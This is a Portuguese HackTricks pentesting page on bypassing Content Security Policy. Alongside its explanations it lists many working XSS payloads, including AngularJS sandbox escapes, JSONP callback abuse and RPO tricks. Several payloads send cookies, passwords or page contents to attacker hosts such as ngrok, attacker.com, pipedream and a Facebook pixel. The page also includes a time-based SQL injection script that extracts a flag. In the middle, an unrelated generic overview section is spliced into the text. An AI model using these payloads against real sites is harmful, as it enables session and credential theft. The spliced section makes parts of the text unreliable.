hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

45 KiB
Raw Blame History

Bypass de Política de Segurança de Conteúdo (CSP)

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Insights de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios
Fique informado sobre os mais novos bounties de bugs lançados e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje mesmo!

O que é CSP

Política de Segurança de Conteúdo ou CSP é uma tecnologia integrada ao navegador que ajuda a proteger contra ataques como scripting entre sites (XSS). Ela lista e descreve caminhos e fontes dos quais o navegador pode carregar recursos de forma segura. Os recursos podem incluir imagens, frames, javascript e mais. Aqui está um exemplo de recursos sendo permitidos do domínio local (self) para serem carregados e executados em linha e permitir funções de execução de código como eval, setTimeout ou setInterval:

A Política de Segurança de Conteúdo é implementada via cabeçalhos de resposta ou elementos meta da página HTML. O navegador segue a política recebida e bloqueia ativamente as violações à medida que são detectadas.

Implementada via cabeçalho de resposta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implementado via tag meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Cabeçalhos

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only Este não bloqueará nada, apenas enviará relatórios (usar em ambiente Pré).

Definindo recursos

CSP funciona restringindo as origens de onde o conteúdo ativo e passivo pode ser carregado. Ele pode adicionalmente restringir certos aspectos do conteúdo ativo, como a execução de javascript inline e o uso de eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Diretivas

  • script-src: Esta diretiva especifica fontes permitidas para JavaScript. Isso inclui não apenas URLs carregadas diretamente em elementos, mas também coisas como manipuladores de eventos de script inline (onclick) e folhas de estilo XSLT que podem desencadear a execução de scripts.
  • default-src: Esta diretiva define a política para buscar recursos por padrão. Quando diretivas de busca estão ausentes no cabeçalho CSP, o navegador segue esta diretiva por padrão.
  • Child-src: Esta diretiva define recursos permitidos para web workers e conteúdos de frames embutidos.
  • connect-src: Esta diretiva restringe URLs para carregar usando interfaces como fetch, websocket, XMLHttpRequest.
  • frame-src: Esta diretiva restringe URLs para frames que podem ser chamados.
  • frame-ancestors: Esta diretiva especifica as fontes que podem incorporar a página atual. Esta diretiva aplica-se a <frame>, <iframe>, <object>, <embed>, ou <applet>. Esta diretiva não pode ser usada em tags e aplica-se apenas a recursos não HTML.
  • img-src: Define fontes permitidas para carregar imagens na página da web.
  • font-src: Diretiva especifica fontes válidas para fontes carregadas usando @font-face.
  • manifest-src: Esta diretiva define fontes permitidas de arquivos de manifesto de aplicação.
  • media-src: Define fontes permitidas de onde objetos de mídia podem ser carregados.
  • object-src: Define fontes permitidas para os elementos <object>, <embed> e <applet>.
  • base-uri: Define URLs permitidas que podem ser carregadas usando um elemento.
  • form-action: Esta diretiva lista endpoints válidos para envio a partir de tags.
  • plugin-types: Define limites nos tipos de mime types que uma página pode invocar.
  • upgrade-insecure-requests: Esta diretiva instrui navegadores a reescrever esquemas de URL, mudando HTTP para HTTPS. Esta diretiva pode ser útil para sites com um grande número de URLs antigas que precisam ser reescritas.
  • sandbox: A diretiva sandbox habilita um sandbox para o recurso solicitado semelhante ao atributo sandbox. Aplica restrições às ações de uma página, incluindo prevenir popups, prevenir a execução de plugins e scripts, e impor uma política de mesma origem.

Fontes

  • *: Permite qualquer URL exceto esquemas data:, blob:, filesystem:.
  • self: Esta fonte define que o carregamento de recursos na página é permitido do mesmo domínio.
  • data: Esta fonte permite carregar recursos através do esquema data (por exemplo, imagens codificadas em Base64).
  • none: Esta diretiva não permite que nada seja carregado de qualquer fonte.
  • unsafe-eval: Permite o uso de eval() e métodos semelhantes para criar código a partir de strings. Não é uma prática segura incluir esta fonte em qualquer diretiva. Por essa razão, é nomeada como insegura.
  • unsafe-hashes: Permite a ativação de manipuladores de eventos inline específicos.
  • unsafe-inline: Permite o uso de recursos inline, como elementos inline, URLs javascript:, manipuladores de eventos inline e elementos inline. Novamente, isso não é recomendado por razões de segurança.
  • nonce: Uma lista de permissões para scripts inline específicos usando um nonce criptográfico (número usado uma vez). O servidor deve gerar um valor de nonce único cada vez que transmite uma política.
  • sha256-<hash>: Lista de permissões para scripts com um hash sha256 específico.
  • strict-dynamic: Permite que o navegador carregue e execute novas tags JavaScript no DOM de qualquer fonte de script que tenha sido previamente autorizada por um valor de "nonce" ou "hash".
  • host: Indica um host como example.com

Regras CSP Inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Carga útil funcional: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga útil funcional:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se você conseguir de alguma forma fazer com que um código JS permitido crie uma nova tag de script no DOM com o seu código JS, porque um script permitido está criando-o, a nova tag de script será permitida para execução.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga útil funcional:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src e default-src

{% hint style="danger" %} Parece que isso já não funciona mais {% endhint %}

Content-Security-Policy: script-src 'self' ;

Cargas úteis funcionais:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Upload de Arquivo + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se você pode fazer upload de um arquivo JS, você pode contornar esta CSP:

Payload funcional:

"/>'><script src="/uploads/picture.png.js"></script>

No entanto, é altamente provável que o servidor esteja validando o arquivo enviado e só permitirá que você envie tipos determinados de arquivos.

Além disso, mesmo que você consiga enviar um código JS dentro de um arquivo usando uma extensão aceita pelo servidor (como: script.png), isso não será suficiente porque alguns servidores, como o servidor Apache, selecionam o tipo MIME do arquivo com base na extensão e navegadores como o Chrome rejeitarão executar código Javascript dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, de um CTF, aprendi que o Apache não conhece a extensão .wave, portanto, ele não a serve com um tipo MIME como audio/*.

A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma extensão mal interpretada, você poderia tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota (alguns exemplos de poliglota aqui).

Pontos de Extremidade de Terceiros + ('unsafe-eval')

{% hint style="warning" %} Para alguns dos seguintes payloads, unsafe-eval nem é necessário. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carregue uma versão vulnerável do angular e execute JS arbitrário:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads usando Angular + uma biblioteca com funções que retornam o objeto window (confira este post):

{% hint style="info" %} O post mostra que você pode carregar todas as bibliotecas de cdn.cloudflare.com (ou qualquer outro repositório permitido de bibliotecas JS), executar todas as funções adicionadas de cada biblioteca e verificar quais funções de quais bibliotecas retornam o objeto window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>



Abusando do código JS do google recaptcha

De acordo com este writeup de CTF, você pode abusar de https://www.google.com/recaptcha/ dentro de um CSP para executar código JS arbitrário contornando o CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Endpoints de Terceiros + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Cenários como este, onde script-src está definido como self e um domínio específico que está na lista de permissões, podem ser contornados usando JSONP. Pontos de extremidade JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contém endpoints JSONP prontos para uso para bypass de CSP de diferentes websites.

A mesma vulnerabilidade ocorrerá se o endpoint confiável contiver um Redirecionamento Aberto porque se o endpoint inicial é confiável, redirecionamentos também são.

Abusos de Terceiros

Como descrito no post seguinte, existem muitos domínios de terceiros, que podem estar permitidos em algum lugar no CSP, que podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:

Entidade Domínio Permitido Capacidades
Facebook www.facebook.com, *.facebook.com Exfil
Hotjar *.hotjar.com, ask.hotjar.io Exfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Exec
Amazon CloudFront *.cloudfront.net Exfil, Exec
Amazon AWS *.amazonaws.com Exfil, Exec
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Exfil, Exec
Salesforce Heroku *.herokuapp.com Exfil, Exec
Google Firebase *.firebaseapp.com Exfil, Exec

Se você encontrar algum dos domínios permitidos no CSP do seu alvo, é provável que você consiga fazer um bypass no CSP ao se registrar no serviço de terceiros e, ou exfiltrar dados para esse serviço ou executar código.

Por exemplo, se você encontrar o seguinte CSP:

Content-Security-Policy: default-src 'self www.facebook.com;

Bypass de Política de Segurança de Conteúdo (CSP)

A Política de Segurança de Conteúdo (CSP) é uma camada adicional de segurança que ajuda a detectar e mitigar ataques de injeção de conteúdo, como Cross-Site Scripting (XSS). CSP permite que os desenvolvedores web controlem os recursos que a página pode carregar e executar.

Técnicas Comuns de Bypass

Uso de Diretivas Inseguras

Se a CSP incluir diretivas inseguras como 'unsafe-inline' ou 'unsafe-eval', pode ser possível injetar scripts diretamente ou usar eval() para executar código JavaScript arbitrário.

Abuso de Permissões de Origem

Se a CSP confiar em muitas origens ou usar curingas (por exemplo, *), um atacante pode explorar essas permissões para carregar recursos maliciosos.

Exploração de Endpoints que Refletem Conteúdo

Endpoints que refletem o conteúdo do usuário podem ser usados para contornar a CSP se eles não estiverem adequadamente protegidos.

Uso de Políticas Permissivas em Subdomínios

Subdomínios com políticas CSP mais permissivas podem ser explorados para contornar restrições em domínios principais mais seguros.

Ferramentas para Testar CSP

  • CSP Evaluator: Uma ferramenta online que permite verificar se uma política CSP é forte e identificar possíveis problemas.
  • CSP Tester: Uma extensão do Chrome que ajuda a testar a eficácia de uma política CSP em um site.
  • CSP Auditor: Uma ferramenta que analisa a CSP de um site e relata possíveis problemas.

Conclusão

Entender e testar a eficácia da CSP é crucial para a segurança de um site. Embora a CSP possa ser uma defesa poderosa contra ataques de injeção, é importante estar ciente das técnicas de bypass e garantir que a política esteja configurada corretamente.

Content-Security-Policy: connect-src www.facebook.com;

Você deve ser capaz de exfiltrar dados, de forma semelhante ao que sempre foi feito com Google Analytics/Google Tag Manager. Neste caso, você segue estes passos gerais:

  1. Crie uma conta de Desenvolvedor no Facebook aqui.
  2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
  3. Vá para "Configurações -> Básico" e obtenha seu "App ID".
  4. No site alvo de onde você quer exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget do SDK do Facebook "fbq" através de um "customEvent" e o payload de dados.
  5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.

Então, no lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Bypass via RPO (Relative Path Overwrite)

Além do redirecionamento mencionado anteriormente para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.

Por exemplo, se o CSP permite o caminho https://example.com/scripts/react/, ele pode ser contornado da seguinte forma:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

O navegador acabará carregando https://example.com/scripts/angular/angular.js.

Isso funciona porque, para o navegador, você está carregando um arquivo chamado ..%2fangular%2fangular.js localizado em https://example.com/scripts/react/, o que está em conformidade com a CSP.

No entanto, para certos servidores, ao receber a solicitação, eles a decodificarão, efetivamente solicitando https://example.com/scripts/react/../angular/angular.js, que é equivalente a https://example.com/scripts/angular/angular.js.

Ao explorar essa inconsistência na interpretação de URLs entre o navegador e o servidor, as regras de caminho podem ser contornadas.

A solução é não tratar %2f como / no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.

Exemplo Online: https://jsbin.com/werevijewa/edit?html,output

Execução de JS em Iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri ausente

Se a diretiva base-uri estiver ausente, você pode abusar dela para realizar uma injeção de marcação pendente.

Além disso, se a página estiver carregando um script usando um caminho relativo (como <script src="/js/app.js">) usando um Nonce, você pode abusar da tag base para fazer com que ela carregue o script do seu próprio servidor, alcançando um XSS.
Se a página vulnerável for carregada com httpS, use uma URL httpS na base.

<base href="https://www.attacker.com/">

Eventos AngularJS

Dependendo da política específica, o CSP bloqueará eventos JavaScript. No entanto, o AngularJS define seus próprios eventos que podem ser usados em substituição. Quando dentro de um evento, o AngularJS define um objeto especial $event, que simplesmente referencia o objeto de evento do navegador. Você pode usar este objeto para realizar um bypass no CSP. No Chrome, existe uma propriedade especial no objeto $event/event chamada path. Esta propriedade contém um array de objetos que fazem com que o evento seja executado. A última propriedade é sempre o objeto window, que podemos usar para realizar uma fuga de sandbox. Ao passar este array para o filtro orderBy, podemos enumerar o array e usar o último elemento (o objeto window) para executar uma função global, como alert(). O código a seguir demonstra isso:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Encontre outras formas de contornar o Angular em https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e domínio na lista branca

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Se a aplicação estiver usando Angular JS e os scripts forem carregados de um domínio na lista de permissões, é possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível repositório git.

Payloads funcionais:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Outros pontos de execução arbitrária JSONP podem ser encontrados aqui (alguns deles foram excluídos ou corrigidos)

Bypass via Redirecionamento

O que acontece quando o CSP encontra um redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.

No entanto, de acordo com a descrição em CSP spec 4.2.2.3. Caminhos e Redirecionamentos, se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.

Aqui está um exemplo:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se o CSP estiver definido para https://www.google.com/a/b/c/d, como o caminho é considerado, ambos os scripts /test e /a/test serão bloqueados pelo CSP.

No entanto, o final http://localhost:5555/301 será redirecionado no lado do servidor para https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Como é um redirecionamento, o caminho não é considerado, e o script pode ser carregado, contornando assim a restrição do caminho.

Com este redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.

Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não existam domínios que possam ser explorados nas regras do CSP.

Contornar o CSP com marcação pendente

Leia como aqui.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página da web qualquer imagem de qualquer recurso.

Você pode contornar essa CSP exfiltrando os dados por meio de imagens (nesta ocasião, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a bandeira por meio de uma imagem):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Você também pode abusar dessa configuração para carregar código javascript inserido dentro de uma imagem. Se, por exemplo, a página permite carregar imagens do Twitter. Você poderia criar uma imagem especial, fazer upload dela no Twitter e abusar do "unsafe-inline" para executar um código JS (como um XSS comum) que irá carregar a imagem, extrair o JS dela e executá-lo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Com Service Workers

A função importScripts dos service workers não é limitada pelo CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Injeção de Política

Pesquisa: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se um parâmetro enviado por você está sendo colado dentro da declaração da política, então você poderia alterar a política de alguma forma que a torne inútil. Você poderia permitir script 'unsafe-inline' com qualquer um desses bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta diretiva irá sobrescrever as diretivas script-src existentes.
Você pode encontrar um exemplo aqui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

No Edge é muito mais simples. Se você puder adicionar no CSP apenas isto: ;_ o Edge irá descartar toda a política.
Exemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Ataque de tempo

Note a falta da diretiva 'unsafe-inline'
Desta vez você pode fazer a vítima carregar uma página sob seu controle via XSS com um <iframe>. Desta vez, você vai fazer a vítima acessar a página de onde você quer extrair informações (CSRF). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder controlar o tempo que a página leva para carregar, você poderá extrair as informações necessárias.

Desta vez, uma flag será extraída, sempre que um caractere for adivinhado corretamente via SQLi, a resposta leva mais tempo devido à função sleep. Então, você será capaz de extrair a flag:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Este ataque implicaria alguma engenharia social onde o atacante convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador. Este bookmarklet conteria código javascript malicioso que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, burlando o CSP e permitindo roubar informações sensíveis como cookies ou tokens.

Para mais informações confira o relatório original aqui.

Burla de CSP restringindo CSP

Neste relatório de CTF, o CSP é burlado injetando dentro de um iframe permitido um CSP mais restritivo que proibiu carregar um arquivo JS específico que, então, via poluição de protótipo ou dom clobbering permitiu abusar de um script diferente para carregar um script arbitrário.

Você pode restringir um CSP de um Iframe com o atributo csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

Neste relatório de CTF, foi possível por meio de injeção de HTML restringir ainda mais uma CSP de modo que um script que impedia CSTI foi desativado e, portanto, a vulnerabilidade tornou-se explorável.
A CSP pode ser tornada mais restritiva usando meta tags HTML e scripts inline podem ser desativados removendo a entrada que permite seu nonce e habilitar scripts inline específicos via sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Exfiltração de JS com Content-Security-Policy-Report-Only

Se você conseguir fazer com que o servidor responda com o cabeçalho Content-Security-Policy-Report-Only com um valor controlado por você (talvez por causa de um CRLF), você poderá fazê-lo apontar para o seu servidor e, se você envolver o conteúdo JS que deseja exfiltrar com <script>, e porque é altamente provável que unsafe-inline não seja permitido pelo CSP, isso irá desencadear um erro de CSP e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de Content-Security-Policy-Report-Only.

Para um exemplo, confira este writeup de CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Vazamento de Informações CSP + Iframe

Imagine uma situação onde uma página está redirecionando para uma página diferente com um segredo dependendo do usuário. Por exemplo, o usuário admin acessando redirectme.domain1.com é redirecionado para adminsecret321.domain2.com e você pode causar um XSS no admin.
Também páginas que são redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.

Você pode vazar o domínio para onde o admin é redirecionado através de:

  • violação do CSP
  • regras do CSP.

A violação do CSP é um vazamento instantâneo. Tudo o que precisa ser feito é carregar um iframe apontando para https://redirectme.domain1.com e ouvir o evento securitypolicyviolation que contém a propriedade blockedURI contendo o domínio do URI bloqueado. Isso ocorre porque https://redirectme.domain1.com (permitido pelo CSP) redireciona para https://adminsecret321.domain2.com (bloqueado pelo CSP). Isso faz uso de um comportamento indefinido de como lidar com iframes com CSP. Chrome e Firefox se comportam de maneira diferente em relação a isso.

Quando você conhece os caracteres que podem compor o subdomínio secreto, você também pode usar uma busca binária e verificar quando o CSP bloqueou o recurso e quando não, criando diferentes domínios proibidos no CSP (neste caso o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev)

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Truque retirado daqui.

Participe do servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Percepções de Hacking
Interaja com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios
Fique informado com os lançamentos de novas recompensas por bugs e atualizações importantes da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Tecnologias Inseguras para Bypass no CSP

Sobrecarga do buffer de resposta PHP

O PHP é conhecido por bufferizar a resposta em 4096 bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, ao fornecer dados suficientes dentro dos avisos, a resposta será enviada antes do cabeçalho CSP, fazendo com que o cabeçalho seja ignorado.
Então, a técnica consiste basicamente em preencher o buffer de resposta com avisos para que o cabeçalho CSP não seja enviado.

Ideia retirada de este writeup.

Reescrever Página de Erro

De este writeup parece que foi possível burlar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME é uma técnica que explora um XSS (ou XSS altamente limitado) em um ponto de extremidade de uma página para abusar de outros pontos de extremidade da mesma origem. Isso é feito carregando o ponto de extremidade vulnerável a partir de uma página do atacante e, em seguida, atualizando a página do atacante para o ponto de extremidade real na mesma origem que você deseja abusar. Dessa forma, o ponto de extremidade vulnerável pode usar o objeto opener no payload para acessar o DOM do ponto de extremidade real a ser abusado. Para mais informações, confira:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Além disso, o wordpress possui um ponto de extremidade JSONP em /wp-json/wp/v2/users/1?_jsonp=data que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).

Um atacante pode abusar desse ponto de extremidade para gerar um ataque SOME contra o WordPress e incorporá-lo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> note que este script será carregado porque é permitido por 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do ataque SOME através do ponto de extremidade de callback vulnerável que burla o CSP para dar mais privilégios a um usuário, instalar um novo plugin...
Para mais informações sobre como realizar este ataque, confira https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypasses de Exfiltração do CSP

Se houver um CSP estrito que não permita que você interaja com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar as informações.

Location

Você poderia simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vai vazar conteúdo)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para carregar páginas mais rapidamente, os navegadores vão pré-resolver nomes de host em endereços IP e armazená-los em cache para uso posterior.
Você pode indicar a um navegador para pré-resolver um nome de host com: <link reol="dns-prefetch" href="something.com">

